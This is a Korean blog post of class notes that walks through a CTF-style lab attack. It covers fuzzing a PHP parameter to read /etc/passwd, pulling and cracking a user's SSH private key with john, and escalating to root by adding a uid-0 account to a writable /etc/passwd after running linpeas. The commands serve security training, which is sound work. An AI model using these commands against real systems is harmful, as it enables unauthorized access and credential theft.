[normaltic 비기너 클래스 1기] 2023-09-13 Drill Course 1주차 내용 정리

2023. 9. 20. 20:29normaltic 비기너 클래스 1기/내용 정리

퍼징(Fuzzing)

 

퍼징이란 소프트웨어의 취약점을 테스트하는 방법 중 하나로서 의도치 않은 에러 또는 충돌을 유발 시키기 위해 소프트웨어에 무작위로 데이터를 입력한다. 에러가 발생했을 경우 그 원인을 분석하여 보안 취약점이나 버그를 찾는 개념이다. 이러한 개념을 공격자 입장에서도 사용하여 취약점을 발견할 수 있기에 공격방법 중 하나로 사용할 수 있다.

 

Task1을 이용하여 실습

 

 

nmap -sCV 10.10.209.91 > scan_res
cat scan_res

 

공격대상의 포트 스캔 결과 22번 포트와 80번 포트가 열려있다. 80번 포트는 웹 서버이기 때문에 웹 브라우저에 공격대상의 IP 주소를 입력해보자.

 

 

입력 결과 아직 개발되지 않은 웹 서버의 모습을 볼 수 있다. 여기에서는 얻을 정보가 없기 때문에 웹 디렉터리 스캔을 진행한다. 

 

 

dirbuster

 

이번에는 웹 디렉터리 스캔에 dirbuster란 도구를 사용해본다. dirbuster는 dirb와 gobuster와 같이 웹 디렉터리 스캔 용도로 자주 사용된다. 스캔 결과 /secret라는 디렉터리에 evil.php라는 php파일이 존재하는걸 확인할 수 있다. 이 php파일에 파라미터가 존재하는지 안하는지는 모르지만 웹 퍼징이라는 공격기법을 사용하여 파라미터가 존재하는지 확인해볼 것이다.

 

 

ffuf -u http://10.10.209.91/secret/evil.php?FUZZ=/etc/passwd -w /usr/share/wordlists/rockyou.txt -fs 0

 

ffuf라는 명령어를 사용하여 웹 퍼징 공격을 수행한다. FUZZ단어에 사전 파일에 존재하는 문자열들을 사용하여 브루트 포싱을 진행하게 된다. 이때 파라미터에 해당하는 문자열을 찾게 된다면 아래에 결과가 나오게 된다. 출력 결과 command라는 파라미터가 존재하는것을 확인할 수 있다.

 

 

웹 퍼징 결과로 얻은 evil.php파일의 파라미터 command를 웹 브라우저에 입력하였더니 /etc/passwd파일을 보여주는것을 확인 할 수 있다. 

 

 

파라미터에 입력하는 내용이 파일말고도 다른 것도 해당되나 시도해보았다. ls나 pwd같은 명령어를 입력했더니 아무런 결과도 나오지 않는걸로 보아 해당 파라미터는 파일의 내용만을 출력해주는 파라미터인걸로 추측 가능하다. 그렇다면 이 정보를 가지고 어떤 작업을 할 수 있나 보았더니 /etc/passwd에 mowree라는 계정이 존재하는걸 확인할 수 있다. mowree계정이 개인키를 가지고 있는지 mowree 홈 디렉터리의 .ssh디렉터리에서 확인해보자.

 

 

웹 브라우저에 입력 결과 mowree계정의 개인키가 존재하는걸 확인했다. 이제 이 개인키 정보를 칼리 리눅스로 복사하여 ssh 접속을 시도해보자.

 

 

wget http://10.10.209.91/secret/evil.php?command=/home/mowree/.ssh/id_rsa -O id_rsa

 

wget 명령어를 사용하여 mowree 계정의 개인키를 칼리 리눅스로 다운로드 하였다. 이제 개인키를 가지고 ssh로 접속을 해보자.

 

 

ssh -i id_rsa mowree@10.10.209.91
chmod 600 id_rsa

 

ssh로 접속을 시도하려 했더니 개인키의 권한이 너무 열려있다 한다. 개인키는 매우 중요한 정보이기 때문에 소유자만 이용할 수 있도록 권한을 부여해준다. 부여후 다시 ssh 접속을 시도했더니 이번에는 passpharse를 입력하라고 나온다. passpharse는 개인키 자체의 비밀번호이다. 이는 john the ripper 도구를 사용하여 크랙킹을 진행해야한다. 그전에 개인키를 john 도구에서 쓰일 수 있도록 적합한 형태로 만들어줘야한다.

 

 

ssh2john id_rsa > sshkey_pass
john --wordlist=/usr/share/wordlists/rockyou.txt sshkey_pass

 

ssh2john 명령어는 ssh 개인키를 john도구에 사용할 수 있도록 적합한 형태로 만들어주는 명령어다. 이를 사용하여 적합한 형태로 만들어준 내용을 sshkey_pass파일에 저장한다. 이후 john도구를 사용하여 비밀번호 크랙킹을 진행하였더니 unicorn이라는 비밀번호를 얻을 수 있었다.

 

 

얻은 비밀번호를 입력하여 mowree계정으로 접속 성공하였다. 

 

 

[공격자 컴퓨터]
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh
ls
python3 -m http.server 80
[공격대상 컴퓨터]
wget http://10.18.30.184/linpeas.sh
ls

 

공격대상의 계정으로 접속을 했으니 쉘을 획득한거나 마찬가지로 볼 수 있다. 쉘을 획득했으니 권한 상승까지 하기위해 linpeas.sh라는 프로그램을 사용한다. linpeas.sh는 실행한 컴퓨터에서 권한 상승할 수 있는 방법을 찾아서 알려주는 프로그램이다. 이 프로그램을 공격대상 컴퓨터에 다운로드 시키기 위해 공격자 컴퓨터에서 웹 서버를 열고 공격대상 컴퓨터에서 공격자 컴퓨터에서 열어놓은 웹 서버에서 linpeas.sh 파일을 다운로드하는 방식으로 진행할 것이다. 여기서 왜 공격대상 컴퓨터에서 바로 다운로드 하지 않는 이유는 대부분 직접 다운로드받는 방법은 허용되지 않기 때문이다.

 

 

chmod +x linpeas.sh
./linpeas.sh

 

다운로드 받은 linpeas.sh파일을 실행시키기 위해 권한을 부여해주고 실행시켜주면 이렇게 귀여운 강낭콩 캐릭터를 볼 수 있다.

 

 

출력된 결과로부터 양질의 정보를 얻기 위해서는 위 사진에서 보이는 색깔의 문자열에 주목하여 읽어나가면 된다. 위 색깔부터 아래의 색깔 순으로 권한상승에 있어서 효과적인 방법이라는 뜻이다.

 

 

출력된 결과를 살펴 내려가다 보면은 이러한 항목을 찾을 수 있다. 내용을 보면은 /etc/passwd 파일에 쓰기 권한이 부여되어있다는 내용이다. 이 말인 즉슨 공격대상 시스템의 계정 정보를 마음대로 고쳐 쓸 수 있다는 얘기다. 그렇다면 root권한을 가진 계정을 새로 만들어서 사용을 해도 된다는 의미이다.

 

 

mkpasswd --method=SHA-512 --stdin
su van

 

/etc/passwd에 새로운 계정정보를 쓰기 위해 필요한 비밀번호를 만들기 위해서 mkpasswd 명령어를 사용하여 새 비밀번호를 만들어서 해시화 해준다. 이제 root계정의 uid인 0을 가진 계정을 새로 생성 후에 비밀번호 자리에 해시화된 비밀번호를 입력해주고 저장해준다. 그리고 su명령어를 사용하여 비밀번호를 입력하면 root권한을 가진 계정으로 접속이 가능하다.